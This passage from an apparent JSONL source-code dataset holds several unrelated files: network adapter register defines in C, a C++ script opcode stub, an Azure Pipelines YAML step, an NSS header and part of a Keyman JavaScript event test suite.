\\\n\t0xfd0e28UL\n#define USDM_REG_DBG_DWORD_ENABLE \\\n\t0xfd0e2cUL\n#define USDM_REG_DBG_SHIFT \\\n\t0xfd0e30UL\n#define USDM_REG_DBG_FORCE_VALID \\\n\t0xfd0e34UL\n#define USDM_REG_DBG_FORCE_FRAME \\\n\t0xfd0e38UL\n#define XCM_REG_DBG_SELECT \\\n\t0x1000040UL\n#define XCM_REG_DBG_DWORD_ENABLE \\\n\t0x1000044UL\n#define XCM_REG_DBG_SHIFT \\\n\t0x1000048UL\n#define XCM_REG_DBG_FORCE_VALID\t\\\n\t0x100004cUL\n#define XCM_REG_DBG_FORCE_FRAME\t\\\n\t0x1000050UL\n#define YCM_REG_DBG_SELECT \\\n\t0x1080040UL\n#define YCM_REG_DBG_DWORD_ENABLE \\\n\t0x1080044UL\n#define YCM_REG_DBG_SHIFT \\\n\t0x1080048UL\n#define YCM_REG_DBG_FORCE_VALID\t\\\n\t0x108004cUL\n#define YCM_REG_DBG_FORCE_FRAME\t\\\n\t0x1080050UL\n#define PCM_REG_DBG_SELECT \\\n\t0x1100040UL\n#define PCM_REG_DBG_DWORD_ENABLE \\\n\t0x1100044UL\n#define PCM_REG_DBG_SHIFT \\\n\t0x1100048UL\n#define PCM_REG_DBG_FORCE_VALID\t\\\n\t0x110004cUL\n#define PCM_REG_DBG_FORCE_FRAME\t\\\n\t0x1100050UL\n#define TCM_REG_DBG_SELECT \\\n\t0x1180040UL\n#define TCM_REG_DBG_DWORD_ENABLE \\\n\t0x1180044UL\n#define TCM_REG_DBG_SHIFT \\\n\t0x1180048UL\n#define TCM_REG_DBG_FORCE_VALID\t\\\n\t0x118004cUL\n#define TCM_REG_DBG_FORCE_FRAME\t\\\n\t0x1180050UL\n#define MCM_REG_DBG_SELECT \\\n\t0x1200040UL\n#define MCM_REG_DBG_DWORD_ENABLE \\\n\t0x1200044UL\n#define MCM_REG_DBG_SHIFT \\\n\t0x1200048UL\n#define MCM_REG_DBG_FORCE_VALID\t\\\n\t0x120004cUL\n#define MCM_REG_DBG_FORCE_FRAME\t\\\n\t0x1200050UL\n#define UCM_REG_DBG_SELECT \\\n\t0x1280050UL\n#define UCM_REG_DBG_DWORD_ENABLE \\\n\t0x1280054UL\n#define UCM_REG_DBG_SHIFT \\\n\t0x1280058UL\n#define UCM_REG_DBG_FORCE_VALID\t\\\n\t0x128005cUL\n#define UCM_REG_DBG_FORCE_FRAME\t\\\n\t0x1280060UL\n#define XSEM_REG_DBG_SELECT \\\n\t0x1401528UL\n#define XSEM_REG_DBG_DWORD_ENABLE \\\n\t0x140152cUL\n#define XSEM_REG_DBG_SHIFT \\\n\t0x1401530UL\n#define XSEM_REG_DBG_FORCE_VALID \\\n\t0x1401534UL\n#define XSEM_REG_DBG_FORCE_FRAME \\\n\t0x1401538UL\n#define YSEM_REG_DBG_SELECT \\\n\t0x1501528UL\n#define YSEM_REG_DBG_DWORD_ENABLE \\\n\t0x150152cUL\n#define YSEM_REG_DBG_SHIFT \\\n\t0x1501530UL\n#define YSEM_REG_DBG_FORCE_VALID \\\n\t0x1501534UL\n#define YSEM_REG_DBG_FORCE_FRAME \\\n\t0x1501538UL\n#define PSEM_REG_DBG_SELECT \\\n\t0x1601528UL\n#define PSEM_REG_DBG_DWORD_ENABLE \\\n\t0x160152cUL\n#define PSEM_REG_DBG_SHIFT \\\n\t0x1601530UL\n#define PSEM_REG_DBG_FORCE_VALID \\\n\t0x1601534UL\n#define PSEM_REG_DBG_FORCE_FRAME \\\n\t0x1601538UL\n#define TSEM_REG_DBG_SELECT \\\n\t0x1701528UL\n#define TSEM_REG_DBG_DWORD_ENABLE \\\n\t0x170152cUL\n#define TSEM_REG_DBG_SHIFT \\\n\t0x1701530UL\n#define TSEM_REG_DBG_FORCE_VALID \\\n\t0x1701534UL\n#define TSEM_REG_DBG_FORCE_FRAME \\\n\t0x1701538UL\n#define DORQ_REG_PF_USAGE_CNT \\\n\t0x1009c0UL\n#define DORQ_REG_PF_OVFL_STICKY\t\\\n\t0x1009d0UL\n#define DORQ_REG_DPM_FORCE_ABORT \\\n\t0x1009d8UL\n#define DORQ_REG_INT_STS \\\n\t0x100180UL\n#define DORQ_REG_INT_STS_ADDRESS_ERROR \\\n\t(0x1UL << 0)\n#define DORQ_REG_INT_STS_WR \\\n\t0x100188UL\n#define DORQ_REG_DB_DROP_DETAILS_REL \\\n\t0x100a28UL\n#define DORQ_REG_INT_STS_ADDRESS_ERROR_SHIFT \\\n\t0\n#define DORQ_REG_INT_STS_DB_DROP \\\n\t\t(0x1UL << 1)\n#define DORQ_REG_INT_STS_DB_DROP_SHIFT \\\n\t1\n#define DORQ_REG_INT_STS_DORQ_FIFO_OVFL_ERR \\\n\t\t(0x1UL << 2)\n#define DORQ_REG_INT_STS_DORQ_FIFO_OVFL_ERR_SHIFT \\\n\t2\n#define DORQ_REG_INT_STS_DORQ_FIFO_AFULL\\\n\t\t(0x1UL << 3)\n#define DORQ_REG_INT_STS_DORQ_FIFO_AFULL_SHIFT \\\n\t3\n#define DORQ_REG_INT_STS_CFC_BYP_VALIDATION_ERR \\\n\t\t(0x1UL << 4)\n#define DORQ_REG_INT_STS_CFC_BYP_VALIDATION_ERR_SHIFT \\\n\t4\n#define DORQ_REG_INT_STS_CFC_LD_RESP_ERR \\\n\t\t(0x1UL << 5)\n#define DORQ_REG_INT_STS_CFC_LD_RESP_ERR_SHIFT \\\n\t5\n#define DORQ_REG_INT_STS_XCM_DONE_CNT_ERR \\\n\t\t(0x1UL << 6)\n#define DORQ_REG_INT_STS_XCM_DONE_CNT_ERR_SHIFT\t\\\n\t6\n#define DORQ_REG_INT_STS_CFC_LD_REQ_FIFO_OVFL_ERR \\\n\t\t(0x1UL << 7)\n#define DORQ_REG_INT_STS_CFC_LD_REQ_FIFO_OVFL_ERR_SHIFT\t\\\n\t7\n#define DORQ_REG_INT_STS_CFC_LD_REQ_FIFO_UNDER_ERR \\\n\t\t(0x1UL << 8)\n#define DORQ_REG_INT_STS_CFC_LD_REQ_FIFO_UNDER_ERR_SHIFT \\\n\t8\n#define DORQ_REG_DB_DROP_DETAILS_REASON\t\\\n\t0x100a20UL\n#define MSEM_REG_DBG_SELECT \\\n\t0x1801528UL\n#define MSEM_REG_DBG_DWORD_ENABLE \\\n\t0x180152cUL\n#define MSEM_REG_DBG_SHIFT \\\n\t0x1801530UL\n#define MSEM_REG_DBG_FORCE_VALID \\\n\t0x1801534UL\n#define MSEM_REG_DBG_FORCE_FRAME \\\n\t0x1801538UL\n#define USEM_REG_DBG_SELECT \\\n\t0x1901528UL\n#define USEM_REG_DBG_DWORD_ENABLE \\\n\t0x190152cUL\n#define USEM_REG_DBG_SHIFT \\\n\t0x1901530UL\n#define USEM_REG_DBG_FORCE_VALID \\\n\t0x1901534UL\n#define USEM_REG_DBG_FORCE_FRAME \\\n\t0x1901538UL\n#define NWS_REG_DBG_SELECT_K2_E5 \\\n\t0x700128UL\n#define NWS_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x70012cUL\n#define NWS_REG_DBG_SHIFT_K2_E5 \\\n\t0x700130UL\n#define NWS_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x700134UL\n#define NWS_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x700138UL\n#define MS_REG_DBG_SELECT_K2_E5 \\\n\t0x6a0228UL\n#define MS_REG_DBG_DWORD_ENABLE_K2_E5 \\\n\t0x6a022cUL\n#define MS_REG_DBG_SHIFT_K2_E5 \\\n\t0x6a0230UL\n#define MS_REG_DBG_FORCE_VALID_K2_E5 \\\n\t0x6a0234UL\n#define MS_REG_DBG_FORCE_FRAME_K2_E5 \\\n\t0x6a0238UL\n#define PCIE_REG_DBG_COMMON_SELECT_K2_E5 \\\n\t0x054398UL\n#define PCIE_REG_DBG_COMMON_DWORD_ENABLE_K2_E5 \\\n\t0x05439cUL\n#define PCIE_REG_DBG_COMMON_SHIFT_K2_E5 \\\n\t0x0543a0UL\n#define PCIE_REG_DBG_COMMON_FORCE_VALID_K2_E5 \\\n\t0x0543a4UL\n#define PCIE_REG_DBG_COMMON_FORCE_FRAME_K2_E5 \\\n\t0x0543a8UL\n#define PTLD_REG_DBG_SELECT_E5 \\\n\t0x5a1600UL\n#define PTLD_REG_DBG_DWORD_ENABLE_E5 \\\n\t0x5a1604UL\n#define PTLD_REG_DBG_SHIFT_E5 \\\n\t0x5a1608UL\n#define PTLD_REG_DBG_FORCE_VALID_E5 \\\n\t0x5a160cUL\n#define PTLD_REG_DBG_FORCE_FRAME_E5 \\\n\t0x5a1610UL\n#define YPLD_REG_DBG_SELECT_E5 \\\n\t0x5c1600UL\n#define YPLD_REG_DBG_DWORD_ENABLE_E5 \\\n\t0x5c1604UL\n#define YPLD_REG_DBG_SHIFT_E5 \\\n\t0x5c1608UL\n#define YPLD_REG_DBG_FORCE_VALID_E5 \\\n\t0x5c160cUL\n#define YPLD_REG_DBG_FORCE_FRAME_E5 \\\n\t0x5c1610UL\n#define RGSRC_REG_DBG_SELECT_E5\t\\\n\t0x320040UL\n#define RGSRC_REG_DBG_DWORD_ENABLE_E5 \\\n\t0x320044UL\n#define RGSRC_REG_DBG_SHIFT_E5 \\\n\t0x320048UL\n#define RGSRC_REG_DBG_FORCE_VALID_E5 \\\n\t0x32004cUL\n#define RGSRC_REG_DBG_FORCE_FRAME_E5 \\\n\t0x320050UL\n#define TGSRC_REG_DBG_SELECT_E5\t\\\n\t0x322040UL\n#define TGSRC_REG_DBG_DWORD_ENABLE_E5 \\\n\t0x322044UL\n#define TGSRC_REG_DBG_SHIFT_E5 \\\n\t0x322048UL\n#define TGSRC_REG_DBG_FORCE_VALID_E5 \\\n\t0x32204cUL\n#define TGSRC_REG_DBG_FORCE_FRAME_E5 \\\n\t0x322050UL\n#define MISC_REG_RESET_PL_UA \\\n\t0x008050UL\n#define MISC_REG_RESET_PL_HV \\\n\t0x008060UL\n#define XCM_REG_CTX_RBC_ACCS \\\n\t0x1001800UL\n#define XCM_REG_AGG_CON_CTX \\\n\t0x1001804UL\n#define XCM_REG_SM_CON_CTX \\\n\t0x1001808UL\n#define YCM_REG_CTX_RBC_ACCS \\\n\t0x1081800UL\n#define YCM_REG_AGG_CON_CTX \\\n\t0x1081804UL\n#define YCM_REG_AGG_TASK_CTX \\\n\t0x1081808UL\n#define YCM_REG_SM_CON_CTX \\\n\t0x108180cUL\n#define YCM_REG_SM_TASK_CTX \\\n\t0x1081810UL\n#define PCM_REG_CTX_RBC_ACCS \\\n\t0x1101440UL\n#define PCM_REG_SM_CON_CTX \\\n\t0x1101444UL\n#define TCM_REG_CTX_RBC_ACCS \\\n\t0x11814c0UL\n#define TCM_REG_AGG_CON_CTX \\\n\t0x11814c4UL\n#define TCM_REG_AGG_TASK_CTX \\\n\t0x11814c8UL\n#define TCM_REG_SM_CON_CTX \\\n\t0x11814ccUL\n#define TCM_REG_SM_TASK_CTX \\\n\t0x11814d0UL\n#define MCM_REG_CTX_RBC_ACCS \\\n\t0x1201800UL\n#define MCM_REG_AGG_CON_CTX \\\n\t0x1201804UL\n#define MCM_REG_AGG_TASK_CTX \\\n\t0x1201808UL\n#define MCM_REG_SM_CON_CTX \\\n\t0x120180cUL\n#define MCM_REG_SM_TASK_CTX \\\n\t0x1201810UL\n#define UCM_REG_CTX_RBC_ACCS \\\n\t0x1281700UL\n#define UCM_REG_AGG_CON_CTX \\\n\t0x1281704UL\n#define UCM_REG_AGG_TASK_CTX \\\n\t0x1281708UL\n#define UCM_REG_SM_CON_CTX \\\n\t0x128170cUL\n#define UCM_REG_SM_TASK_CTX \\\n\t0x1281710UL\n#define XSEM_REG_SLOW_DBG_EMPTY_BB_K2\t\\\n\t0x1401140UL\n#define XSEM_REG_SYNC_DBG_EMPTY\t\\\n\t0x1401160UL\n#define XSEM_REG_SLOW_DBG_ACTIVE_BB_K2 \\\n\t0x1401400UL\n#define XSEM_REG_SLOW_DBG_MODE_BB_K2 \\\n\t0x1401404UL\n#define XSEM_REG_DBG_FRAME_MODE_BB_K2\t\\\n\t0x1401408UL\n#define XSEM_REG_DBG_GPRE_VECT \\\n\t0x1401410UL\n#define XSEM_REG_DBG_MODE1_CFG_BB_K2 \\\n\t0x1401420UL\n#define XSEM_REG_FAST_MEMORY \\\n\t0x1440000UL\n#define YSEM_REG_SYNC_DBG_EMPTY\t\\\n\t0x1501160UL\n#define YSEM_REG_SLOW_DBG_ACTIVE_BB_K2 \\\n\t0x1501400UL\n#define YSEM_REG_SLOW_DBG_MODE_BB_K2 \\\n\t0x1501404UL\n#define YSEM_REG_DBG_FRAME_MODE_BB_K2\t\\\n\t0x1501408UL\n#define YSEM_REG_DBG_GPRE_VECT \\\n\t0x1501410UL\n#define YSEM_REG_DBG_MODE1_CFG_BB_K2 \\\n\t0x1501420UL\n#define YSEM_REG_FAST_MEMORY \\\n\t0x1540000UL\n#define PSEM_REG_SLOW_DBG_EMPTY_BB_K2\t\\\n\t0x1601140UL\n#define PSEM_REG_SYNC_DBG_EMPTY\t\\\n\t0x1601160UL\n#define PSEM_REG_SLOW_DBG_ACTIVE_BB_K2 \\\n\t0x1601400UL\n#define PSEM_REG_SLOW_DBG_MODE_BB_K2 \\\n\t0x1601404UL\n#define PSEM_REG_DBG_FRAME_MODE_BB_K2\t\\\n\t0x1601408UL\n#define PSEM_REG_DBG_GPRE_VECT \\\n\t0x1601410UL\n#define PSEM_REG_DBG_MODE1_CFG_BB_K2 \\\n\t0x1601420UL\n#define PSEM_REG_FAST_MEMORY \\\n\t0x1640000UL\n#define TSEM_REG_SLOW_DBG_EMPTY_BB_K2\t\\\n\t0x1701140UL\n#define TSEM_REG_SYNC_DBG_EMPTY\t\\\n\t0x1701160UL\n#define TSEM_REG_SLOW_DBG_ACTIVE_BB_K2 \\\n\t0x1701400UL\n#define TSEM_REG_SLOW_DBG_MODE_BB_K2 \\\n\t0x1701404UL\n#define TSEM_REG_DBG_FRAME_MODE_BB_K2\t\\\n\t0x1701408UL\n#define TSEM_REG_DBG_GPRE_VECT \\\n\t0x1701410UL\n#define TSEM_REG_DBG_MODE1_CFG_BB_K2 \\\n\t0x1701420UL\n#define TSEM_REG_FAST_MEMORY \\\n\t0x1740000UL\n#define MSEM_REG_SLOW_DBG_EMPTY_BB_K2\t\\\n\t0x1801140UL\n#define MSEM_REG_SYNC_DBG_EMPTY\t\\\n\t0x1801160UL\n#define MSEM_REG_SLOW_DBG_ACTIVE_BB_K2 \\\n\t0x1801400UL\n#define MSEM_REG_SLOW_DBG_MODE_BB_K2 \\\n\t0x1801404UL\n#define MSEM_REG_DBG_FRAME_MODE_BB_K2\t\\\n\t0x1801408UL\n#define MSEM_REG_DBG_GPRE_VECT \\\n\t0x1801410UL\n#define MSEM_REG_DBG_MODE1_CFG_BB_K2 \\\n\t0x1801420UL\n#define MSEM_REG_FAST_MEMORY \\\n\t0x1840000UL\n#define USEM_REG_SLOW_DBG_EMPTY_BB_K2\t\\\n\t0x1901140UL\n#define SEM_FAST_REG_INT_RAM_SIZE \\\n\t20480\n#define USEM_REG_SYNC_DBG_EMPTY\t\\\n\t0x1901160UL\n#define USEM_REG_SLOW_DBG_ACTIVE_BB_K2 \\\n\t0x1901400UL\n#define USEM_REG_SLOW_DBG_MODE_BB_K2 \\\n\t0x1901404UL\n#define USEM_REG_DBG_FRAME_MODE_BB_K2\t\\\n\t0x1901408UL\n#define USEM_REG_DBG_GPRE_VECT \\\n\t0x1901410UL\n#define USEM_REG_DBG_MODE1_CFG_BB_K2 \\\n\t0x1901420UL\n#define USEM_REG_FAST_MEMORY \\\n\t0x1940000UL\n#define SEM_FAST_REG_DBG_MODE23_SRC_DISABLE \\\n\t0x000748UL\n#define SEM_FAST_REG_DBG_MODE4_SRC_DISABLE \\\n\t0x00074cUL\n#define SEM_FAST_REG_DBG_MODE6_SRC_DISABLE \\\n\t0x000750UL\n#define SEM_FAST_REG_DEBUG_ACTIVE \\\n\t0x000740UL\n#define SEM_FAST_REG_INT_RAM \\\n\t0x020000UL\n#define SEM_FAST_REG_INT_RAM_SIZE_BB_K2 \\\n\t20480\n#define SEM_FAST_REG_RECORD_FILTER_ENABLE \\\n\t0x000768UL\n#define GRC_REG_TRACE_FIFO_VALID_DATA \\\n\t0x050064UL\n#define GRC_REG_NUMBER_VALID_OVERRIDE_WINDOW \\\n\t0x05040cUL\n#define GRC_REG_PROTECTION_OVERRIDE_WINDOW \\\n\t0x050500UL\n#define IGU_REG_ERROR_HANDLING_MEMORY \\\n\t0x181520UL\n#define MCP_REG_CPU_MODE \\\n\t0xe05000UL\n#define MCP_REG_CPU_MODE_SOFT_HALT \\\n\t\t(0x1 << 10)\n#define BRB_REG_BIG_RAM_ADDRESS \\\n\t0x340800UL\n#define BRB_REG_BIG_RAM_DATA \\\n\t0x341500UL\n#define BRB_REG_BIG_RAM_DATA_SIZE \\\n\t64\n#define SEM_FAST_REG_STALL_0_BB_K2 \\\n\t0x000488UL\n#define SEM_FAST_REG_STALLED \\\n\t0x000494UL\n#define BTB_REG_BIG_RAM_ADDRESS \\\n\t0xdb0800UL\n#define BTB_REG_BIG_RAM_DATA \\\n\t0xdb0c00UL\n#define BMB_REG_BIG_RAM_ADDRESS \\\n\t0x540800UL\n#define BMB_REG_BIG_RAM_DATA \\\n\t0x540f00UL\n#define SEM_FAST_REG_STORM_REG_FILE \\\n\t0x008000UL\n#define RSS_REG_RSS_RAM_ADDR \\\n\t0x238c30UL\n#define MISCS_REG_BLOCK_256B_EN \\\n\t0x009074UL\n#define MCP_REG_SCRATCH_SIZE_BB_K2 \\\n\t57344\n#define MCP_REG_CPU_REG_FILE \\\n\t0xe05200UL\n#define MCP_REG_CPU_REG_FILE_SIZE \\\n\t32\n#define DBG_REG_DEBUG_TARGET \\\n\t0x01005cUL\n#define DBG_REG_FULL_MODE \\\n\t0x010060UL\n#define DBG_REG_CALENDAR_OUT_DATA \\\n\t0x010480UL\n#define GRC_REG_TRACE_FIFO \\\n\t0x050068UL\n#define IGU_REG_ERROR_HANDLING_DATA_VALID \\\n\t0x181530UL\n#define DBG_REG_DBG_BLOCK_ON \\\n\t0x010454UL\n#define DBG_REG_FILTER_ENABLE \\\n\t0x0109d0UL\n#define DBG_REG_FRAMING_MODE \\\n\t0x010058UL\n#define DBG_REG_TRIGGER_ENABLE \\\n\t0x01054cUL\n#define SEM_FAST_REG_VFC_DATA_WR \\\n\t0x000b40UL\n#define SEM_FAST_REG_VFC_ADDR \\\n\t0x000b44UL\n#define SEM_FAST_REG_VFC_DATA_RD \\\n\t0x000b48UL\n#define SEM_FAST_REG_VFC_STATUS\t\\\n\t0x000b4cUL\n#define RSS_REG_RSS_RAM_DATA \\\n\t0x238c20UL\n#define RSS_REG_RSS_RAM_DATA_SIZE \\\n\t4\n#define MISC_REG_BLOCK_256B_EN \\\n\t0x008c14UL\n#define NWS_REG_NWS_CMU_K2\t\\\n\t0x720000UL\n#define PHY_NW_IP_REG_PHY0_TOP_TBUS_ADDR_7_0_K2_E5 \\\n\t0x000680UL\n#define PHY_NW_IP_REG_PHY0_TOP_TBUS_ADDR_15_8_K2_E5 \\\n\t0x000684UL\n#define PHY_NW_IP_REG_PHY0_TOP_TBUS_DATA_7_0_K2_E5 \\\n\t0x0006c0UL\n#define PHY_NW_IP_REG_PHY0_TOP_TBUS_DATA_11_8_K2_E5 \\\n\t0x0006c4UL\n#define MS_REG_MS_CMU_K2_E5 \\\n\t0x6a4000UL\n#define PHY_SGMII_IP_REG_AHB_CMU_CSR_0_X130_K2_E5 \\\n\t0x000208UL\n#define PHY_SGMII_IP_REG_AHB_CMU_CSR_0_X131_K2_E5 \\\n\t0x00020cUL\n#define PHY_SGMII_IP_REG_AHB_CMU_CSR_0_X132_K2_E5 \\\n\t0x000210UL\n#define PHY_SGMII_IP_REG_AHB_CMU_CSR_0_X133_K2_E5 \\\n\t0x000214UL\n#define PHY_PCIE_IP_REG_AHB_CMU_CSR_0_X130_K2_E5 \\\n\t0x000208UL\n#define PHY_PCIE_IP_REG_AHB_CMU_CSR_0_X131_K2_E5 \\\n\t0x00020cUL\n#define PHY_PCIE_IP_REG_AHB_CMU_CSR_0_X132_K2_E5 \\\n\t0x000210UL\n#define PHY_PCIE_IP_REG_AHB_CMU_CSR_0_X133_K2_E5 \\\n\t0x000214UL\n#define PHY_PCIE_REG_PHY0_K2_E5 \\\n\t0x620000UL\n#define PHY_PCIE_REG_PHY1_K2_E5 \\\n\t0x624000UL\n#define NIG_REG_ROCE_DUPLICATE_TO_HOST 0x5088f0UL\n#define NIG_REG_PPF_TO_ENGINE_SEL 0x508900UL\n#define NIG_REG_PPF_TO_ENGINE_SEL_SIZE 8\n#define PRS_REG_LIGHT_L2_ETHERTYPE_EN 0x1f0968UL\n#define NIG_REG_LLH_ENG_CLS_ENG_ID_TBL 0x501b90UL\n#define DORQ_REG_PF_DPM_ENABLE 0x100510UL\n#define DORQ_REG_PF_ICID_BIT_SHIFT_NORM\t0x100448UL\n#define DORQ_REG_PF_MIN_ADDR_REG1 0x100400UL\n#define DORQ_REG_PF_DPI_BIT_SHIFT 0x100450UL\n#define NIG_REG_RX_PTP_EN 0x501900UL\n#define NIG_REG_TX_PTP_EN 0x501904UL\n#define NIG_REG_LLH_PTP_TO_HOST\t0x501908UL\n#define NIG_REG_LLH_PTP_TO_MCP 0x50190cUL\n#define NIG_REG_PTP_SW_TXTSEN 0x501910UL\n#define NIG_REG_LLH_PTP_ETHERTYPE_1 0x501914UL\n#define NIG_REG_LLH_PTP_MAC_DA_2_LSB 0x501918UL\n#define NIG_REG_LLH_PTP_MAC_DA_2_MSB 0x50191cUL\n#define NIG_REG_LLH_PTP_PARAM_MASK 0x501920UL\n#define NIG_REG_LLH_PTP_RULE_MASK 0x501924UL\n#define NIG_REG_TX_LLH_PTP_PARAM_MASK 0x501928UL\n#define NIG_REG_TX_LLH_PTP_RULE_MASK 0x50192cUL\n#define NIG_REG_LLH_PTP_HOST_BUF_SEQID 0x501930UL\n#define NIG_REG_LLH_PTP_HOST_BUF_TS_LSB 0x501934UL\n#define NIG_REG_LLH_PTP_HOST_BUF_TS_MSB\t0x501938UL\n#define NIG_REG_LLH_PTP_MCP_BUF_SEQID 0x50193cUL\n#define NIG_REG_LLH_PTP_MCP_BUF_TS_LSB 0x501940UL\n#define NIG_REG_LLH_PTP_MCP_BUF_TS_MSB 0x501944UL\n#define NIG_REG_TX_LLH_PTP_BUF_SEQID 0x501948UL\n#define NIG_REG_TX_LLH_PTP_BUF_TS_LSB 0x50194cUL\n#define NIG_REG_TX_LLH_PTP_BUF_TS_MSB 0x501950UL\n#define NIG_REG_RX_PTP_TS_MSB_ERR 0x501954UL\n#define NIG_REG_TX_PTP_TS_MSB_ERR 0x501958UL\n#define NIG_REG_TSGEN_SYNC_TIME_LSB 0x5088c0UL\n#define NIG_REG_TSGEN_SYNC_TIME_MSB 0x5088c4UL\n#define NIG_REG_TSGEN_RST_DRIFT_CNTR 0x5088d8UL\n#define NIG_REG_TSGEN_DRIFT_CNTR_CONF 0x5088dcUL\n#define NIG_REG_TS_OUTPUT_ENABLE_PDA 0x508870UL\n#define NIG_REG_TIMESYNC_GEN_REG_BB 0x500d00UL\n#define NIG_REG_TSGEN_FREE_CNT_VALUE_LSB 0x5088a8UL\n#define NIG_REG_TSGEN_FREE_CNT_VALUE_MSB 0x5088acUL\n#define NIG_REG_PTP_LATCH_OSTS_PKT_TIME 0x509040UL\n#define PSWRQ2_REG_WR_MBS0 0x240400UL\n\n#define PGLUE_B_REG_PGL_ADDR_E8_F0_K2 0x2aaf98UL\n#define PGLUE_B_REG_PGL_ADDR_EC_F0_K2 0x2aaf9cUL\n#define PGLUE_B_REG_PGL_ADDR_F0_F0_K2 0x2aafa0UL\n#define PGLUE_B_REG_PGL_ADDR_F4_F0_K2 0x2aafa4UL\n#define PGLUE_B_REG_MASTER_WRITE_PAD_ENABLE 0x2aae30UL\n#define NIG_REG_TSGEN_FREECNT_UPDATE_K2 0x509008UL\n#define CNIG_REG_NIG_PORT0_CONF_K2 0x218200UL\n\n#define NIG_REG_TX_EDPM_CTRL 0x501f0cUL\n#define NIG_REG_TX_EDPM_CTRL_TX_EDPM_EN (0x1 << 0)\n#define NIG_REG_TX_EDPM_CTRL_TX_EDPM_EN_SHIFT 0\n#define NIG_REG_TX_EDPM_CTRL_TX_EDPM_TC_EN (0xff << 1)\n#define NIG_REG_TX_EDPM_CTRL_TX_EDPM_TC_EN_SHIFT 1\n\n#define PRS_REG_SEARCH_GFT 0x1f11bcUL\n#define PRS_REG_SEARCH_NON_IP_AS_GFT 0x1f11c0UL\n#define PRS_REG_CM_HDR_GFT 0x1f11c8UL\n#define PRS_REG_GFT_CAM 0x1f1100UL\n#define PRS_REG_GFT_PROFILE_MASK_RAM 0x1f1000UL\n#define PRS_REG_CM_HDR_GFT_EVENT_ID_SHIFT 0\n#define PRS_REG_CM_HDR_GFT_CM_HDR_SHIFT 8\n#define PRS_REG_LOAD_L2_FILTER 0x1f0198UL\n\n#endif\n"} +{"text": "#include \"Eval_Harass.h\"\r\n#include \r\n\r\nusing namespace AISCRIPT;\r\n\r\nIMPLEMENT(Eval_Harass);\r\n\r\nbool Eval_Harass::execute(aithread &thread) const\r\n{\r\n // Retrieve parameters\r\n WORD wOffset;\r\n thread.readTuple( std::tie(wOffset) );\r\n\r\n //if ( !EvalHarass(this->location.center()) )\r\n // thread.setScriptOffset( wOffset );\r\n\r\n // Save debug info and return\r\n thread.saveDebug(Text::Red, this->getOpcode(), \"p_%04X\", wOffset);\r\n return true;\r\n}\r\n"} +{"text": "parameters:\n ChannelId: 0\n\nsteps:\n- task: PowerShell@2\n displayName: Add Build to Channel\n inputs:\n filePath: $(Build.SourcesDirectory)/eng/common/post-build/add-build-to-channel.ps1\n arguments: -BuildId $(BARBuildId) \n -ChannelId ${{ parameters.ChannelId }}\n -MaestroApiAccessToken $(MaestroApiAccessToken)\n -MaestroApiEndPoint $(MaestroApiEndPoint)\n -MaestroApiVersion $(MaestroApiVersion) \n"} +{"text": "\n"} +{"text": "/* THIS IS A GENERATED FILE */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n#ifndef NSSCKEPV_H\n#define NSSCKEPV_H\n\n#include \"pkcs11.h\"\n\n#endif /* NSSCKEPV_H */\n"} +{"text": "var assert = chai.assert;\n\ndescribe('Event Management', function() {\n this.timeout(kmwconfig.timeouts.standard);\n\n before(function(done) {\n this.timeout(kmwconfig.timeouts.scriptLoad * 2);\n fixture.setBase('fixtures');\n fixture.load(\"eventTestConfig.html\");\n\n setupKMW(null, function() {\n // We use this keyboard since we only need minimal input functionality for these tests.\n // Smaller is better when dealing with net latency.\n loadKeyboardFromJSON(\"/keyboards/test_simple_deadkeys.json\", function() {\n // Interestingly, when auto-testing there's a Safari bug that prevents\n // this from being preserved after the first forced blur command below.\n done();\n }, kmwconfig.timeouts.scriptLoad);\n }, kmwconfig.timeouts.scriptLoad);\n\n });\n \n after(function() {\n teardownKMW();\n });\n\n it('Keystroke-based onChange event generation', function(done) {\n var simple_A = {\"type\":\"key\",\"key\":\"a\",\"code\":\"KeyA\",\"keyCode\":65,\"modifierSet\":0,\"location\":0};\n var event = new KMWRecorder.PhysicalInputEventSpec(simple_A);\n\n var ele = document.getElementById(\"input\");\n var aliasing = false;\n\n ele.onchange = function() {\n ele.onchange = null;\n done();\n }\n\n if(ele['kmw_ip']) {\n ele = ele['kmw_ip'];\n aliasing = true;\n }\n\n // A bit of a force-hack to ensure the element is seen as active for the tests.\n com.keyman.dom['DOMEventHandlers'].states.lastActiveElement = ele;\n com.keyman.dom['DOMEventHandlers'].states.activeElement = ele;\n\n let eventDriver = new KMWRecorder.BrowserDriver(ele);\n eventDriver.simulateEvent(event);\n\n var focusEvent;\n\n if(typeof FocusEvent == 'function') {\n focusEvent = new FocusEvent('blur', {relatedTarget: ele});\n } else {\n focusEvent = document.createEvent(\"FocusEvent\");\n focusEvent.initFocusEvent(\"blur\", true, false, ele.ownerDocument.defaultView, 0, ele);\n }\n\n if(focusEvent)\n ele.dispatchEvent(focusEvent);\n });\n\n it('OSK-based onChange event generation', function(done) {\n var simple_A = {\"type\":\"osk\",\"keyID\":\"default-K_A\"};\n var event = new KMWRecorder.OSKInputEventSpec(simple_A);\n\n var ele = document.getElementById(\"input\");\n var aliasing = false;\n\n ele.onchange = function() {\n ele.onchange = null;\n done();\n }\n\n if(ele['kmw_ip']) {\n ele = ele['kmw_ip'];\n aliasing = true;\n }\n\n // A bit of a force-hack to ensure the element is seen as active for the tests.\n com.keyman.dom['DOMEventHandlers'].states.lastActiveElement = ele;\n com.keyman.dom['DOMEventHandlers'].states.activeElement = ele;\n\n let eventDriver = new KMWRecorder.BrowserDriver(ele);\n eventDriver.simulateEvent(event);\n\n var focusEvent;\n\n if(typeof FocusEvent == 'function') {\n focusEvent = new FocusEvent('blur', {relatedTarget: ele});\n } else {\n focusEvent = document.createEvent(\"FocusEvent\");\n focusEvent.initFocusEvent(\"blur\", true, false, ele.ownerDocument.defaultView, 0, ele);\n }\n\n if(focusEvent)\n ele.dispatchEvent(focusEvent);\n });\n\n it('Keystroke-based onInput event generation', function(done) {\n // Not all browsers support InputEvent. Bypass the test for these.\n if(typeof InputEvent != 'function') {\n console.log(\"InputEvent not supported.\");\n done();\n return;\n }\n\n var simple_A = {\"type\":\"key\",\"key\":\"a\",\"code\":\"KeyA\",\"keyCode\":65,\"modifierSet\":0,\"location\":0};\n var event = new 